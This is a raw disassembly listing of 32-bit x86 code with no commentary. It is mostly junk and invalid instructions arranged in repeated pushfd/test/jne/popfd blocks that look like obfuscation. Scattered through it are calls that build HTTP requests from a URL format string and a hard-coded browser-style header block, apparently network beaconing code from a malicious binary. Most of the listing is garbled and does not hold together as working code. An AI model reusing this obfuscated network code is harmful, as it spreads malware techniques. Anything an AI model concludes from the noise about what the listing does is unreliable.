xor dword [edx + edi], 0x5b8e693f
jnp 0x100a1f93
push cs
mov al, 0xad
push ds
mov al, 0xc4
stosb byte es:[edi], al
mov dword [0x48f84c17], eax
mov dh, 0x57
cmp ecx, dword [esi]
pop ecx
rol eax, 0xea
in eax, dx
fsubr st(5), st(0)
scasb al, byte es:[edi]
fld qword [esi + 0x2f]
mov dword [0xac171b5f], eax
xchg ebx, eax
pop ecx
mov ah, 0xac
cmp dword [ecx], eax
cmp dword [eax], ecx
mov ch, byte [ebx - 0x4f90d251]
insd dword es:[edi], dx
shl dword [0xa293becc], 0x29
mov al, 0x93
mov dh, 3
dec eax
stosd dword es:[edi], eax
mov word [ebx - 0x18abe9f4], ss
xor eax, 0x36ec2e5c
mov eax, 0x2deb7495
mov ebx, 0xb95d7151
xchg dword [edx - 0x27dd30b], ebx
inc edi
dec ecx
shl esi, 1
scasd eax, dword es:[edi]
sub al, 0xd6
cmpsd dword [esi], dword es:[edi]
inc esp
and byte [ebx], 0x99
push ss
rol dh, 1
div dword [edx + 1]
fsubrp st(3)
and al, 0x56
xchg ebx, eax
bound ebx, qword [edx - 0x5d65a99e]
add dh, byte [ecx - 0x6de2b9e2]
cli
pop ebp
mov al, 0x93
shl edx, cl
dec esp
push edx
sub dword [edi - 0x78], eax
xchg edi, eax
nop
call 0xea9bad5a
fadd st(5), st(0)
outsb dx, byte [esi]
popfd
push ecx
add eax, 4
push eax
push dword [ebp + 0xc]
pushfd
test byte [0x100a20d2], 0x28
jne 0x100a20d3
mov ebp, 0x268d295e
dec esp
sub byte [esi - 0x25f3981a], dh
mov esp, 0x5ca82af5
mov dword [ebx - 0x3d725fcf], 0x5f552139
xlatb
shr byte [edx], 1
xchg esi, esp
pop esi
xchg ecx, eax
jl 0x100a2086
push ecx
xchg esi, eax
push esp
into
push ss
mov esp, 0xb54eaabd
salc
fdivr st(4)
mov ebp, 0x18a05ea9
inc ebx
xchg edi, eax
mov ebp, dword [esi]
bound edi, qword cs:[ecx + 0xe]
bound ecx, qword [edx + 0x470bc49d]
invalid
sti
cmp eax, 0x3c1155ec
ror dword [ebp - 0x6d1f86c5], 1
movsd dword es:[edi], dword [esi]
in al, dx
mov gs, word [ebx - 0x363f167c]
pop eax
mov esp, 0x1f754390
popfd
lea edi, [esi + 0x80]
push ebx
push str.http:___s:_d_s_s
pushfd
test byte [0x100a21c3], 4
jne 0x100a21c4
mov edx, 0xe270f41f
sti
fdiv qword [ebx + edx*2 + 0x325be8d5]
out dx, eax
xchg edx, eax
cwde
in al, dx
cmp eax, 0xb9f1fa5
xchg esp, eax
dec esi
pop edx
jae 0x100a2164
pop eax
pop ebx
dec esi
mov ebp, 0xa2dc8895
or eax, 0x8dbf6a48
pop eax
cmp bl, byte [ecx + 0x76]
arpl word [ebx], ax
test eax, 0xb211ebf9
je 0x100a20b9
inc esi
shr bh, 0xf1
inc esp
shr dword [ecx - 0x6cec5aa], 1
and edi, dword [edx]
inc esp
cmc
xor dword [ebx + edi], ebp
sub al, 0x3b
mov dh, byte [ebp - 0x5a]
sar dword [ebp + 0xd], 1
salc
or dword [ebp + 0x488e1e79], edi
sub esp, dword [eax + 0x2b2daa85]
inc eax
jg 0x100a2133
mov ecx, dword [ebx + ebp]
pop ebx
pop ss
imul esi, ecx, 1
invalid
mov edx, 0x78176f4f
xchg esi, eax
lodsb al, byte [esi]
mov dl, 0xae
mov esi, 0x6d7a4edb
insd dword es:[edi], dx
jle 0x100a215c
out 0x97, eax
sub eax, 0x44d7d787
jl 0x100a219d
sbb eax, 0x326660dd
push edi
mov al, 0xd3
lds ebp, [edi + edi*8 - 0x1c7cb10e]
aad 0xa
sub edi, dword [eax]
mov eax, dword [0xc5448437]
frstor dword [eax + 0x66]
xor dl, byte [edi - 0x50]
rol ebp, cl
lodsb al, byte [esi]
push edx
dec esi
and ebx, 0xffffffd5
or ch, byte [ebx]
cmp byte [ecx - 0x3abb7bc9], ah
imul edi, dword [ebx], 0x72
xor al, 0xb7
dec ebx
out dx, al
and dword [edi + 0x71], esi
test ch, dl
enter 0x68bb, 0xfffffffffffffffc
out dx, eax
fld dword [edx + 5]
or al, 0xd1
lodsd eax, dword [esi]
push esp
shl dword [ebx - 0xc71cc84], 0x52
jae 0x100a2172
ja 0x100a2156
sbb al, 0x25
sbb byte [esi], 0xa8
dec eax
out 0x4c, eax
pop eax
nop
das
mul al
sbb dword [edx + ebx*4 - 0x3b], 0xbef7a295
popfd
push 0x104
push edi
call fcn.10122559
add esp, 0x1c
jmp 0x100a2444
cmp dword [ebp - 0x34], edi
jae 0x100a21e0
lea ecx, [ebp - 0x48]
mov eax, dword [ebp - 0x2c]
pushfd
test byte [0x100a21f5], 0xc1
and dword [edx], ecx
adc cl, al
jne 0x100a21f6
in al, dx
nop
imul ebp, edx, 0x7fdbf967
pop ecx
popfd
cmp dword [ebp - 0x18], edi
jae 0x100a21ff
lea eax, [ebp - 0x2c]
push ecx
add eax, 4
push eax
push ebx
pushfd
test byte [0x100a226a], 0x62
jne 0x100a236b
inc esi
pop edx
fist dword [edi + 0x4c8ef531]
nop
mov ebx, 0x1ad47990
mov esp, 0xdfb33026
push ebx
jnp 0x100a228e
xchg ebx, eax
clc
in al, 0x5d
add dword [edi - 0x2b], ecx
mov dl, byte [edi - 0x475e2241]
jbe 0x100a22a5
or edi, dword [ebp + 0x17143ea9]
adc al, 0x17
xchg ecx, eax
stosb byte es:[edi], al
adc eax, edx
rcl byte [ebx + 0x39]
or eax, 0x26dbc1fc
push ebx
cmp dword [0x26dbc1fc], ecx
movsb byte es:[edi], byte [esi]
salc
xchg esp, eax
ror byte [eax - 0x3e0475de], 1
or byte [0x4ebcd8af], bl
xchg edx, eax
jge 0x100a22a6
scasb al, byte es:[edi]
pop edi
neg byte [edi + 0x4aa5793]
jl 0x100a21e7
cmp eax, 0xf9bbc3b7
or eax, 0xb417e6df
mov word [esi], gs
fist dword [ecx - 0x6c]
push eax
int1
pop ecx
jno 0x100a22a1
or dword [edi + 0x24b85a6a], edi
fild dword [eax + 0x5b9d6e9f]
push es
add dl, bl
inc ebx
sub dl, byte [edx - 0x5e]
mov eax, dword [0xd2f1ee]
pop ebx
std
mov byte [0xd2f1eea1], al
add byte [ebx - 3], bl
mov ebx, dword [edi + 0x7be70b47]
mov eax, dword [0x52bdb5ef]
dec esi
xchg dword [ecx + 0x14830a71], ebp
cmp al, 0xcf
or al, byte [ebx - 0x2d30c3ec]
jle 0x100a2243
adc dword [esp + edi], 0xffffffcf
sar byte [esi - 0x6a], cl
jge 0x100a223b
popfd
mov word [ebx - 0x47], cs
mov bh, 0xc3
test eax, 0x8b5f1f80
inc ebp
inc eax
fist dword [edi + 0x949f4d9]
mov ch, 0x62
fimul dword [ebp + 0x21]
mov eax, 0xcbb85aeb
cmpsb byte [esi], byte es:[edi]
xchg ebx, eax
mov ecx, esi
int1
mov eax, dword [0xd047746a]
daa
jae 0x100a22d0
sub byte [edi + 0x2a32b093], cl
mov al, byte [0x6c9575a2]
lahf
rcr byte [edi + ecx*2 + 0x63], 0x36
invalid
popfd
push str.http:___s_s_s
lea edi, [esi + 0x80]
push 0x104
pushfd
test byte [0x100a2439], 0x46
jne 0x100a243a
xor al, 0xf3
dec ecx
sti
mov dword [0x37ab4d3], eax
mov bh, 0x78
adc eax, 0x3880a6aa
mov ah, 0xa
adc byte gs:[ecx + edx*4], dh
adc ebx, dword [edx]
enter 0x3cd4, 0x15
movsd dword es:[edi], dword [esi]
shl dword [edi + 0x7b25bda9], 1
cmp byte [ebx], 0x10
mov esi, 0x622de2fb
adc eax, 0xa9a7d1a5
mov ebp, 0x3b827b25
adc byte [esi + 0x622de2fb], bh
sub dh, bl
aam 0x4c
or ecx, esp
and eax, dword [edx - 0x15]
in eax, dx
push edi
sal dword [edx + 0x27], cl
leave
mov ebp, 0x56a1672f
or esp, dword [esi + 0x75]
nop
out 0xa2, al
xchg ebx, eax
mov dh, 0xeb
cmp ah, ah
push edi
cmpsb byte [esi], byte es:[edi]
cmp edi, esi
and al, dh
or ebx, edi
ja 0x100a23a6
adc ch, byte [ebx + 0x76b8cac7]
dec edi
xchg esi, eax
mov ebx, 0x7a1519fb
int1
push 0xffffffffffffffa8
mov dword [0xd3930f79], eax
cmp cl, byte [ebp - 0x7e]
push ecx
dec edx
jecxz 0x100a23a1
mov edi, 0x7201d41
stc
adc dword [0x1c26da99], 0xffffffb5
call 0x691cd4c9
push esp
test byte [esi + 0x17], dh
test byte [ebp + 0x2a], dh
cdq
mov edi, 0x21b8e73e
test eax, 0x46c14d1a
test al, 0xde
jle 0x100a2463
test al, 0x9c
inc esp
mov word [edx - 0x73], ds
in al, dx
out dx, eax
daa
mov cl, 0xc3
lodsd eax, dword [esi]
pop ebp
cmpsb byte [esi], byte es:[edi]
push ecx
cmp ebp, ebp
popfd
push edi
call fcn.10122559
add esp, 0x18
push edi
lea ecx, [ebp - 0x64]
call fcn.10005af6
push 0xffffffffffffffff
xor edi, edi
push edi
lea eax, [ebp - 0x64]
push eax
lea ecx, [esi + 0x1a8]
pushfd
test byte [0x100a24f8], 0x54
push esp
jne 0x100a24f9
and eax, ecx
push esi
mov byte [ebx], 0xf7
jecxz 0x100a2410
mov byte [ecx], cl
test eax, 0x6f8baa92
adc edi, dword [ecx + 0x65]
cdq
or bl, al
xor al, 7
xor byte [eax + ebp*8 + 0x4463d7bd], dl
outsd dx, dword [esi]
pop eax
add eax, ebp
das
mov bh, 0x3b
popal
loop 0x100a24a8
dec ebp
sbb ecx, 0xffffffc9
mov edi, dword [edx + 0x3b]
lahf
sub ah, byte [0x605b5552]
dec edi
cmp edi, dword [edi + 3]
add ebx, dword [edx]
sti
mov ss, word [ecx - 0x75]
mov ecx, 0x704c545f
push ecx
mov edi, dword [ecx + 0x704c545f]
pop edi
push esp
dec esp
jo 0x100a24ac
cld
sbb eax, 0xf70966c2
pop esp
add bh, byte [0x74f734a6]
mov dword [0x56f8e59b], eax
inc edi
out 0xfb, al
and ah, byte [ebp - 0x19]
int3
popfd
mov byte [ebp - 4], 3
call fcn.10004b88
xor ebx, ebx
push edi
pushfd
test byte [0x100a256c], 0xbe
jne 0x100a256d
mov al, 0xc8
dec esi
pushfd
xchg edx, eax
fst dword [esi]
inc edi
imul edx, esi, 0x6a
test cl, al
and ebx, dword [0x17c129d0]
sub dl, dl
jle 0x100a2583
jae 0x100a24ab
adc dword [eax], edx
cmp bh, byte [edi]
xchg byte [ebx + 0x6b], bh
xor dword [ebp + 0x14a53ca2], edx
pop ss
mov word [edi - 0x24], es
cmp dword [eax + esi*2], edx
dec ebp
mov edx, 0x2629fbf6
outsb dx, byte [esi]
dec eax
or ebp, dword [edx]
sti
cld
xlatb
enter 0x327, 0x16
nop
sahf
and ah, dl
cmp ecx, dword [edx - 0x5b196391]
stosb byte es:[edi], al
push edi
fdiv st(4)
xchg edi, eax
pop esp
int1
mov esp, 0x8e99bc73
std
sub esi, dword [edx - 0x7b8db464]
push esi
cdq
invalid
popfd
inc ebx
push ebx
pushfd
test byte [0x100a25a9], 0xb0
je 0x100a25aa
pushfd
test al, 0x36
dec edx
out dx, eax
rol ebx, 1
shl byte [eax + 0x18d43fae], cl
scasb al, byte es:[edi]
aas
aam 0x18
call 0x434ee595
push ss
dec edx
rol dword [esi], cl
and cl, byte [ebp + 0x533c2e97]
mov word [edi + 0x152e7233], cs
clc
loop 0x100a257b
out 0x71, al
out dx, al
pop esp
jne 0x100a25d5
jle 0x100a2562
push ecx
inc eax
popfd
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 2
call fcn.10002a9a
pushfd
test byte [0x100a2687], 0xc6
jne 0x100a2688
mov edi, 0xbb27a4b5
sar dword [ebx + 0x6bb7b3b0], 0x61
les edi, [ecx]
daa
ror dword [ebp - 0xb7c8fa1], cl
pop ecx
lea ebx, [edi + 0x70]
xor esp, 0x59
adc al, 0xfd
in eax, 0x19
mov ch, 0xdd
adc byte [esp + ebp], dh
add byte [edx - 0x53d41f92], cl
sal dh, cl
sar byte [ecx + 0x1aeb6cee], 0xe6
shr byte [eax - 0x6da009f3], cl
imul edi, ecx, 0xaabf7415
pop ebp
in al, dx
salc
jo 0x100a2667
or eax, dword [ecx + 0x69142be9]
out dx, eax
mov ah, 0xf
or bl, byte [ebx - 0x14ead9a6]
pop edi
jge 0x100a2689
imul ebp, edi, 0x9b0a0fb4
pop edx
adc eax, 0x737d5feb
adc eax, 0x737d5feb
mov ecx, 0xe8537f0
pop ds
cli
mov dword [0xca5ea58c], eax
mov bl, 0xd3
sbb eax, 0xfa2a84ab
dec edi
dec ecx
cdq
aaa
jbe 0x100a261d
xor bh, ch
aaa
mov al, 0x8d
mov esp, 0xa79d0fc0
push ebx
sub byte [eax], bl
jle 0x100a2609
add al, 0x5b
cmp eax, 0x7e228b49
adc dword [ebp - 0x10], esi
aad 0xb4
dec edx
adc cl, byte [ecx + 0x4f76de1c]
sbb esi, edi
mov edi, dword [esi - 3]
xlatb
inc edi
mov dword [ecx + 0x7c21b416], esp
inc ebx
dec esp
xor ebx, dword [esi + 0x1913a854]
mov byte [edi], 0x25
sub bl, byte [ecx + 0x12]
cwde
sbb esi, eax
pop es
and eax, 0x9812592a
into
adc dword [ecx], eax
dec esi
sar ebp, cl
loop 0x100a26a8
js 0x100a2611
scasd eax, dword es:[edi]
lodsd eax, dword [esi]
mov byte [edi], ch
loopne 0x100a2657
fiadd word [ebp + edi*4 + 0x4ac7a5f1]
adc dl, byte [esi]
popfd
lea ecx, [esi + 0x198]
call fcn.10075d48
push edi
lea ecx, [ebp - 0x48]
push ebx
cmp al, bl
jne 0x100a272a
call fcn.10002a9a
push edi
push ebx
lea ecx, [ebp - 0x2c]
pushfd
test byte [0x100a271e], 0xa7
jne 0x100a271f
out 0xfa, al
mov esp, 0x7b264da4
inc esi
sub ebp, dword [ebp - 0x3225df71]
pop ecx
mov ch, 0x48
sub dh, byte [ebx + 0x1a801098]
pop esp
adc al, 0x14
imul edx, dword [ebx + 0x60], 0xffffff99
mov edi, 0xa44ceb3c
aad 0xd1
lodsd eax, dword [esi]
xchg ecx, eax
into
pop edx
xor dword [edx], edi
dec eax
inc edx
mov al, byte [0x64d5f0b8]
inc byte [edx + esi*8 - 0x54]
stosb byte es:[edi], al
loopne 0x100a2745
adc al, 0x8e
add eax, 0xc769361a
sbb byte [edi + edi*2 - 0x2a], 0xc0
mul dword [ebx]
pop ebp
stc
cmpsb byte [esi], byte es:[edi]
je 0x100a2698
test eax, 0x3431d27d
ror dword [eax + edi + 0x5f], cl
push ds
sub ebp, dword [ebx]
add esi, dword [edx - 0x7cb46c21]
enter 0x3e04, 0xffffffffffffffaf
mov cl, 0x29
and eax, 0x156ea099
popfd
call fcn.10002a9a
jmp 0x100a1800
call fcn.10002a9a
push edi
pushfd
test byte [0x100a276b], 0x2e
jne 0x100a276c
push es
mov edi, dword [ecx]
in al, 0x18
movsd dword es:[edi], dword [esi]
dec esp
pop ds
inc ebx
sub al, 0x21
sbb edx, ebx
stosd dword es:[edi], eax
mov eax, dword [0x794f1082]
in al, dx
jns 0x100a273a
fdiv st(5)
cmp al, 0x25
sar byte [eax - 0x219b291f], 1
sub byte [esi], bh
and al, bl
adc dword [0x8f85e4cd], edx
pop eax
dec edi
jns 0x100a2747
lds ecx, [edi + 0x55850bbd]
popfd
push ebx
pushfd
test byte [0x100a27b4], 0x46
jne 0x100a27b5
salc
sub dword [ebx], edx
mov dh, 0x79
movsd dword es:[edi], dword [esi]
adc eax, 0x99fa3374
sbb dword [edx - 8], eax
and esp, eax
daa
jne 0x100a274c
mov esi, 0x1275cb8d
sub byte [edi], bl
push cs
into
popal
and al, 0x40
in eax, dx
imul eax, dword [0x3682484f], 0x20
pop ds
inc ebx
test eax, 0xc04a656c
mov ah, byte [edi + 0x30a747b4]
mov dword [esi], ebx
call 0x6ecad8b
inc edi
cmpsd dword [esi], dword es:[edi]
xor byte [ecx - 0x7a2717e2], cl
loop 0x100a27a9
bswap esi
popfd
lea ecx, [ebp - 0x2c]
pushfd
test byte [0x100a282f], 0x8b
jne 0x100a2830
into
sal dword [edx - 0x4b27b955], cl
mov bh, 0x2f
mov esp, 0x638d12e6
sti
add dword [ebx], edx
jo 0x100a27a9
sbb bh, dl
mov dh, 0x61
xor eax, 0xa58752a0
lodsd eax, dword [esi]
add byte [edi], bh
ja 0x100a2825
daa
jae 0x100a2829
cmp ah, dh
xor bh, 0x94
scasb al, byte es:[edi]
out 0x93, al
push ebp
mov edi, 0xe071c256
mov dl, 0xa1
push ecx
shl byte [edi + 0x2d6df0eb], cl
cmp ebp, dword [edi + 0x25]
xchg dword [ecx - 0x76bcf1aa], ebp
aam 0x1b
sub ebp, dword [ebx - 0x15]
aam 0x65
rcl byte [ebx + 0x6a]
mov esp, edx
sbb ebp, dword [ebx]
imul ebp, ebx, 0xffffffd4
rcl byte gs:[ebx + 0x6a]
pop edx
jo 0x100a2866
enter 0xffffffffffff9e68, 0x4a
inc ecx
mov ah, 0xe5
push ebx
jae 0x100a2860
push edx
mov dl, 0x2b
arpl word [edi - 0x2d], cx
fdivrp st(0)
js 0x100a2839
rcr esi, cl
invalid
invalid
jae 0x100a2835
or dword [eax], ebx
push ebx
scasb al, byte es:[edi]
sbb byte [ebx - 0x52], dl
push edi
popfd
call fcn.10002a9a
jmp 0x100a17fd
invalid
invalid
dec ebx
sub eax, 0xf85592ae
mov dh, 0xab
adc byte [eax + 0x22], dh
jo 0x100a2884
out dx, eax
scasb al, byte es:[edi]
leave
jnp 0x100a282b
invalid
rol byte [ebp - 0x7a04eed1], 1
inc ecx
mov dh, 0xbd
cmp byte [eax], dh
nop
call dword [ecx - 0x1c]
inc ebp
clc
sahf
sbb byte ds:[edi + 0x260bcea4], ah
jecxz 0x100a2807
fst dword [ebx - 0x60183638]
enter 0xffffffffffffe7c9, 0xffffffffffffff9f
and dword [eax + 0x78], esi
mov dh, 0x3e
pop edi
shr byte [eax + ecx*4 - 4], cl
jns 0x100a28f4
rcr dh, 0xc0
mov eax, 0x27b268ac
jae 0x100a2857
pop ebp
push esi
xor eax, 0xe0692af4
and byte [ebp + 0x47], bl
adc eax, 0x2f2b473a
push ecx
in eax, 0x12
insb byte es:[edi], dx
dec ebp
adc byte [ebp - 0x35], dl
pop esp
inc ecx
dec ebx
and eax, 0xc2fb52a9
sub ch, byte [eax]
mov eax, 0xa0499ac0
dec ecx
aad 0xe5
or ebx, dword [edi + 0x5399a8a8]
inc esp
cmp dword [esi + 0x6455eac8], eax
mov edi, 0xcbc2fdfb
cmp ch, byte [edx + 0x4a]
test al, 0x5c
push eax
pop ecx
push es
fnstenv [ecx + edi]
cli
xchg dword [edi + 0x50], esp
or dword [edi + 0x34], ebp
or byte [ebx - 0x3d91d744], 0xa1
imul edi, dword [ecx + 0x5382d287], 0xea208a87
xchg dword [ebx - 0x27], ecx
inc edi
push ecx
mov ecx, 0x5382d287
xchg dword [edx + 0x4b87ea20], ecx
fld dword [edi + 0x51]
popfd
mov eax, dword fs:[0]
push eax
mov eax, 0x1818
call fcn.1011f220
mov eax, dword [0x10170c30]
pop es
add byte [ecx + 0x10170c30], ah
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
pushfd
test byte [0x100a29c6], 0x9e
jne 0x100a29c7
inc ebp
invalid
pop ebp
jno 0x100a2912
out 0xc8, al
sub al, 0x3b
mov eax, 0x9dca4856
fsubr st(5), st(0)
pushal
in al, dx
xchg ebp, eax
lahf
dec eax
lodsd eax, dword [esi]
rcr byte [eax], 1
scasd eax, dword es:[edi]
pop esi
mov dh, 0xe2
inc esp
mov eax, dword [edi - 0x25a56097]
das
stosb byte es:[edi], al
bound ebp, qword [esi]
inc ebp
insb byte es:[edi], dx
out dx, al
cmp byte [eax], ch
js 0x100a2903
mov ch, 0xbd
sbb dword [esi + 0x40], 0x87146d66
mov ebp, 0x66405e81
insd dword es:[edi], dx
inc eax
insw word es:[edi], dx
adc al, 0x87
bound ecx, qword [ecx + ebp*2]
pop esp
daa
push es
shl ebx, 0x7b
xchg ebx, eax
mov word [ecx + 0x72], es
sbb edx, dword [edx + 0x6d]
lea esi, [ecx]
pop es
rol dword [ebx + eax*2 - 7], cl
into
popfd
cmpsd dword [esi], dword es:[edi]
in eax, 0xbf
jecxz 0x100a291c
sbb eax, 0x3ac6c8c5
jno 0x100a29fd
invalid
in al, dx
add cl, byte [edx]
aad 0x85
sub dword [edi + 0x7b], 0xd7a78ae5
enter 0xfffffffffffffbef, 2
xchg edx, eax
int 0x30
jnp 0x100a2969
popf
js 0x100a296c
push ebp
cmp byte [edi], ch
add byte [ecx + 0x53352857], 0xa5
jo 0x100a2a0c
or dl, cl
inc edi
sub dh, byte [esi]
sbb eax, 0x30b607cb
xor byte [ebp - 0x76f38275], bl
test esp, ebx
out 0xff, eax
dec dword [ebx - 0x963efbb]
add eax, 0x100a2ad2
lcall 0, 0xf1850f
popfd
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0x1824], eax
mov eax, dword [ebp + 0x10]
pushfd
test byte [0x100a2ad2], 0x9a
jne 0x100a2ad3
and ch, byte [ecx]
sub eax, 0x1c27afe3
jg 0x100a29e6
scasd eax, dword es:[edi]
daa
sbb al, 0x7f
sti
cmp al, 0xe0
in al, dx
cli
dec eax
jno 0x100a2a6c
sahf
mov edx, 0x6e799407
mov ecx, 0xfc42ca81
ja 0x100a29c6
mov dword [ecx + 0x7721aac2], esp
jbe 0x100a2a51
loopne 0x100a2a70
lodsb al, byte [esi]
pushfd
adc ah, byte [edx - 0x56925a55]
js 0x100a2994
sub al, 0x17
mov ch, 0xde
mov ebp, 0x1795b99f
daa
sub eax, 0x3f8b9eba
rsm
les ecx, [eax + 0x5c51bde8]
xchg edi, eax
pop edx
push edx
in eax, dx
and word [ecx], 0x1c
cmp al, 0x97
ficom dword [edx - 0x7e]
push ebp
pop ss
insb byte es:[edi], dx
or edx, edx
leave
enter 0x446a, 0x1c
scasd eax, dword es:[edi]
movsb byte es:[edi], byte [esi]
push edx
xchg esp, eax
int 0x60
dec edi
dec edx
adc byte [ecx], dh
mov dh, dh
neg byte [edx + 0x3db7695b]
mov ebp, 0xfaebf20c
cli
mov bl, 0xa7
imul esi, dword [edi - 0xdf342c3], 0xb3fafaeb
cmpsd dword [esi], dword es:[edi]
aad 0x93
test byte [edi + 0x47705b9f], 0xe9
inc ebp
bswap edx
scasb al, byte es:[edi]
out dx, eax
mov edi, 0x5fe41f3
mov edx, 0xa589113e
inc ecx
inc byte [0x89113eba]
add eax, 0x89113eba
adc dword ds:[ecx - 0x41a1df5b], ecx
movsd dword es:[edi], dword [esi]
and byte [esi - 0x42], bl
mov al, byte [0x454c4132]
add eax, edx
das
in al, 0x14
shl edi, 1
dec eax
stosd dword es:[edi], eax
push edx
xchg ebx, eax
xor esp, dword [esi]
cmpsb byte [esi], byte es:[edi]
out 0xdc, al
dec eax
test byte [eax - 0x24], al
cmpsb byte [esi], byte es:[edi]
or dword [ecx + 0xe], edi
pop eax
mov esi, 0x4d0b7240
mov cl, al
jl 0x100a2a35
out dx, eax
adc al, 0xbd
shr ebx, 1
push 0xbd4e77ab
aad 0x79
scasb al, byte es:[edi]
jbe 0x100a2b24
call [esp + ebp - 0x4f]
xor al, 0xf4
imul eax, dword [edx + 0x48d256cc], 0xffffffb4
mov al, 0x8e
xchg esi, eax
lodsb al, byte [esi]
into
pop ebp
je 0x100a2a6e
imul esi, ecx, 0x52
dec esi
out 0xc0, eax
adc byte [ebx + edi], al
mov edi, 0x4905e807
scasb al, byte es:[edi]
popfd
mov esi, ecx
mov dword [ebp - 0x181c], eax
lea eax, [esi + 0x80]
push eax
lea ecx, [ebp - 0x17d4]
mov dword [ebp - 0x1814], edi
mov dword [ebp - 0x1818], edi
pushfd
test byte [0x100a2b21], 0x13
jne 0x100a2b22
add edi, ebp
mov esp, 0xe0bb9c38
jb 0x100a2b13
adc dword [eax - 0x5e], ebp
leave
cmp al, 0x19
xor eax, 0xf889a5d7
add al, 0x9d
std
pushfd
mov edx, 0x524ad47e
mov word [0x5fb2b681], cs
popfd
call fcn.10005af6
into
das
idiv bh
push 0xffffffffffffffff
xor ebx, ebx
push ebx
lea eax, [ebp - 0x17d4]
push eax
lea ecx, [esi + 0x1a8]
mov dword [ebp - 4], ebx
cld
call fcn.10004b88
or dword [ebp - 4], 0xffffffff
pushfd
test byte [0x100a2c32], 0x5c
jne 0x100a2c33
push esp
cmp cl, bl
movsd dword es:[edi], dword [esi]
out 0x48, eax
pop ecx
popal
mov ecx, dword [ebp - 0x33d3e6c0]
jl 0x100a2b6e
inc esi
test dword [edi + 0x2b4c0b6f], ebp
mov dl, 0x18
bound esi, qword [0xe4cbbae5]
test al, 0xf8
salc
xor edi, eax
cmp dl, ch
mov edx, 0x78e15b63
fst qword [ecx]
lodsd eax, dword [esi]
stc
lds esi, [edi]
shl dl, cl
xchg esp, eax
add edx, dword [ecx - 0x256456b3]
out dx, al
movsb byte es:[edi], byte [esi]
jle 0x100a2be7
mov ecx, 0x3def806c
ficomp word gs:[eax + ebp*8]
jle 0x100a2b9c
call 0xa6a9291f
sahf
xchg esi, eax
popaw
loopne 0x100a2c20
push esp
nop
stosb byte es:[edi], al
rol bh, cl
imul edx, edx, 0xeec8cea8
mov esi, 0x1001ebe3
jae 0x100a2b3c
fcmovnbe st(0), st(1)
dec eax
adc al, bh
pop ecx
daa
dec ecx
and dh, byte [ecx + eax*8 + 0x195a7193]
mov byte [edx - 0x16], dh
xchg edx, eax
inc esp
mov byte [ebp + 0x71], ah
mov dword [0xc40809df], eax
clc
adc dword [edi + 0x383137a8], ebp
push 0x450bbe3e
adc edi, ecx
mov bl, 0xfa
pushal
out 0x63, al
movsb byte es:[edi], byte [esi]
dec esi
out 0x12, al
or eax, dword [ebp + ebp*8 - 0x67]
call 0xcfc8c28
les ebx, [esi]
sbb byte [eax], al
cmp dword [esi + 0x439005c5], 0xfe3c06a
pop esi
mov dl, 0xf3
sub al, byte [edx]
mov cl, 0xa9
sbb al, 0xed
mov dl, 0xca
cmpsd dword [esi], dword es:[edi]
out 0x7d, al
jno 0x100a2c69
xchg esi, eax
into
jo 0x100a2c2c
and bl, dh
aas
popal
xor eax, 0x3c84c896
dec eax
test byte [eax + ecx*2], bh
rol dword [esi - 0x14], 0xeb
push es
mov es, word [ecx - 0x48]
lock and dword [edi - 0x23de21c9], esi
and dword [edi - 0x23de21c9], esi
out dx, eax
popfd
push ebx
push 1
lea ecx, [ebp - 0x17d4]
call fcn.10002a9a
push str.Accept:_text_html__application_xhtmlxml____r_nUser_Agent:_Mozilla_5.0__compatible__MSIE_9.0__Windows_NT_6.1__Trident_5.0__r_nContent_Type:_application_x_www_form_urlencoded_r_nAccept_Encoding:_gzip__deflate_r_nConnection:_Keep_Alive_r_nPragma:_no_cache_r_n
pushfd
clc
adc byte [eax + edx], 0x9c
test byte [0x100a2c84], 0xeb
jne 0x100a2c85
in eax, dx
mov al, byte [0x9a2fb597]
inc eax
out 0xf8, eax
adc dword [esp + eax*2 - 0x31], 0x856cc632
cld
repne lodsd eax, dword [esi]
fbstp tbyte [esi + 1]
and al, 0xde
mov al, byte [0x9eaf53]
fisub word [eax + 0x9eaf53]
or eax, dword [esi + 0x59515a58]
bound ebp, qword [edx + 0x392e9fc6]
nop
adc eax, 0xe3df9e9
pop es
pop edi
xchg edx, eax
popfd
lea ecx, [ebp - 0x17f0]
call fcn.10005af6
lea edx, [eax]
call 0x75f32c8d
idiv bh
pushfd
test byte [0x100a2cd4], 0x62
jne 0x100a2cd5
lds edx, [eax]
cmp esi, ebp
cdq
imul byte [esi + edx*8]
outsd dx, dword [esi]
enter 0x17c1, 0xffffffffffffffc0
jns 0x100a2c43
stosd dword es:[edi], eax
movsb byte es:[edi], byte [esi]
xchg ebx, eax
jns 0x100a2c43
movsd dword es:[edi], dword [esi]
mov ebx, 0x9609a35
enter 0xffffffffffff87d5, 2
jno 0x100a2d17
xor ch, byte [edx + 0x2c42f798]
or eax, dword [edi]
or eax, 0xebbb9e9a
pop ecx
pop esi
pop edx
xlatb
inc ecx
dec ebp
pop ss
fsubr qword [ebx]
mul dword [edx + 0x22]
pop ds
popfd
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x17f0]
push eax
lea ecx, [esi + 0x284]
pushfd
test byte [0x100a2d0a], 0x2f
jne 0x100a2e0b
jl 0x100a2c87
sbb eax, 0x2efc19a1
add esp, dword [eax + 0x6f]
ja 0x100a2d06
mov word [eax + ebp], ss
cdq
bound eax, qword [eax + 0x5ffce425]
push cs
inc edx
and byte [0xe5ffce4], 0x42
inc edx
inc eax
push ebp
outsd dx, dword [esi]
stosb byte es:[edi], al
les edi, [ebx + 0x683803c6]
lds ecx, [eax - 0x1e]
dec edi
push 0x4fe248c5
dec eax
inc edi
adc byte [edx], 0xfb
pop ss
sub edx, dword [ebx + edi*4 - 0x68]
inc edi
push edx
and al, 0x4f
sbb dword [edx + 0x326509a0], ebx
in eax, 0xad
std
imul ah
mov ebx, 0xc3ce3504
in al, dx
pop ebx
test byte [ecx + 0x75cf8730], bl
push es
psubw mm1, qword [esi - 0x4c]
mov bl, dl
mov ecx, 0xdfaa31e3
scasb al, byte es:[edi]
insb byte es:[edi], dx
jl 0x100a2d5a
mov cl, 0xee
test byte [eax], dl
and al, byte [eax + 0x784d3712]
xor al, 0xb
jl 0x100a2de0
aaa
dec ebp
js 0x100a2d92
or edi, dword [edi + edi*2 + 0x10]
ficom word ds:[edx + 0x21]
adc byte [esi], bh
ficom word [edx + 0x21]
